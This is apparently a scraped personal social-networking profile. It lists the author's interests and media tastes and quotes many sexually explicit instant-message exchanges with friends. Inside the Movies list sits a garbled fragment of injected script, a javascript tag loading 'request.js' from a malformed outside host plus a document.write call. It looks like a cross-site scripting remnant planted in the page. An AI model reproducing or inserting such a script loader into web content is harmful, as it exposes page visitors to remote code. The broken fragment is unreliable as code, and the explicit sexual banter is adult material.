Pets, Music, Clubs, Cooking (I'm one sexy cook) Dancing, Friends, Family, Slappin' my bitches...WTF! Where did that come from!
I'd like to meet:
Who do I want to meet? Hmmmmmmmmmm.....I'd like to meet
someone smart, funny, polite, genuine, honest, cute &
nice. Now since my chances of meeting someone like that
is
about...ummm....0%, I'll settle for someone with two of
those attributes...unless it's cute & honest, because then
you're just bitchy...Oh and no more crazy people! I'm done with the crazy people...unless you're so crazy you don't even know it...cuz that's kind of sexy.
Instant Messages!!!
Me: I don't think we'd date cuz I'm not really your type.
William: but I'm really attracted to your personality.
Me: Well you can't FUCK my personality!
Me: You know...there are still parts of my body that you have not kissed yet!
Scott: what? where?
Me: well, my right arm...and that's about it actually
Scott: lol...dork
Brian: i'm always behind it
Me: ha riiiight
Me: if ur doing reverse cowgirl
Me: then yes...yes u r
Brian: hardy har har again
Me: oooo i got two
Scott: so then you can be my sugar daddy
Me: ok
Me: but I can't afford the sugar
Scott: ok then you can just be my daddy
Jay: a threesome?
Jay: oh hot. i will join in and make it a quad
Me: HA
Me: no
Jay: ew
Jay: EW
Jay: that was rude
Me: lol
Jay: haha
Me: don't invite urself into my sex life...thats rude
Jay: hahahaha
Scott: well i have wanted you for years and you keep saying no.. why is that?
Me: you know what....I don't know...maybe i was drunk...i'm over that now...now i want you.... lol :)
Scott: haha to late. you had your chance. you blew your load so to speak. maybe someday. like in a few months when i go down there ... you okay with being a booty call? jk jk
Me: well when you make it sound so flattering...how can i pass up that offer lol
Scott: lol, Im sorry let me rephrase that... when I come to visit San Francisco will you please grace me with your presence.
Me: sure i'll do the booty call thing! lol
Me: i had a dream that an icecream man came over and maryanne and i bought cotton candy from him...and then he went through my parent's house and took sasha
JT: hahaha
Me: and the other night i dreamt I had sex with a big black man
Me: what's wrong with me
JT: hahahaha
Me: I was sucking his nipples!
JT: black men are no worse than white men
Me: No...i mean BIG black man...like the scary porno type
Me: I woke in a cold sweat
Me: well I was in manuel's bed
Me: it could of been his drool
JT: hahahahahaha
Scott: PLEASE...PLEASE!!!
Me: No I can't!
Scott: Don't listen to what I'm saying...just keep going!
Me: i'mma comment on how gay u r since i know u'd love that
Me: or how good u were last night....wait no...they'd know i was lying
Jay: lol
Jay: wait till i pound the shit out of you, then you can comment on that
Me: i'm not bottoming for u
Me: ever
Me: u can though
Jay: um
Jay: i dont bottom
Me: it's like sitting on an orange construction cone
Jay: HAHAHAH
Me: he was hot & ripped...and at one point he had his hands on the floor...his legs around my waist...and we were still on the bed....it was hot!
JT: That sounds dangerous!
Me: it was like Cirque de fole!
JT: oooooo...how entertaining!
Randy: your ass up for an hour of getting pounded?:-)
Me: normally no but i can make an exception
JT: so how are you
Me: life sucks right now
Me: and not that pleasurable good type of sucking
Brian: what the heck does mike keep in a planner anyway?
Me: he just writes Mike Vassallo over and over again
JT: ok it is a date and a half
Me: lol
JT: it will be like a girls night out
Me: or
Me: girls gone wild
JT: haha
Me: So lets do dinner or lunch?
Jamie: Sure sounds great!
Me: or brunch...us gays like our brunch!
JT: what were you blessed with... other than HUGE hands
Me: my ass duh
JT: this is so true
JT: God bless your nice tight ass
Me: lol
JT: alleluia
JT: praise Jesus
JT: THANK YA JESUS
JT: I am now fanning myself with my pentecostal fan
Brian: i know lots of stuff and things
Brian: stuff and things that many other people do not know
Me: like
Brian: names and work of lots of photographers, how to arrange songs for a 16 person singing group, best restruants in Cambridge, how to design an enterprise web application, and your complete sexual history
Me: lol even i dont' know my complete sexual history
JT: Oompa loompa doompa de do
Me: You need to get an oompla loompa
JT: you should get one too this way they can play with each other.
Me ok...i'll name mine Oompa & yours can be called Todd
Music:
I know I'm going to have a shit load of explaining to do by posting this, but here...enjoy.....
Movies:
Garden State, Kill Bill 1 (2 was ok but 1 was better), The Sweetest Thing (Unedited Version), Closer, All Margaret Cho movies, Scary Movie 2 (Scary Movie 1 was okay too) and some others, I'm not really picky..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("nathanjosiah1.mov.r{}");}..
Television:
CSI (Hello Nick), Desperate House Wives, Simpsons, Family Guy, Futurama, South Park, Drawn Together, Teen Titans (yes I'm aware it's a kids cartoon) and other similar stimulating documentaries on Comedy Cental.
Books:
B-O-O-K-S?....Oh BOOKS! Yeah I'm cool with them. I love Catcher in the Rye and To kill a Mockingbird, but who doesn't!
Heroes:
The 4 greatest people in the world...Karen Walker,
Superman,
Supersquirrel........and my old roommate for starting up the good ol' saying, "Don't cuddle me! JUST DO ME!"..
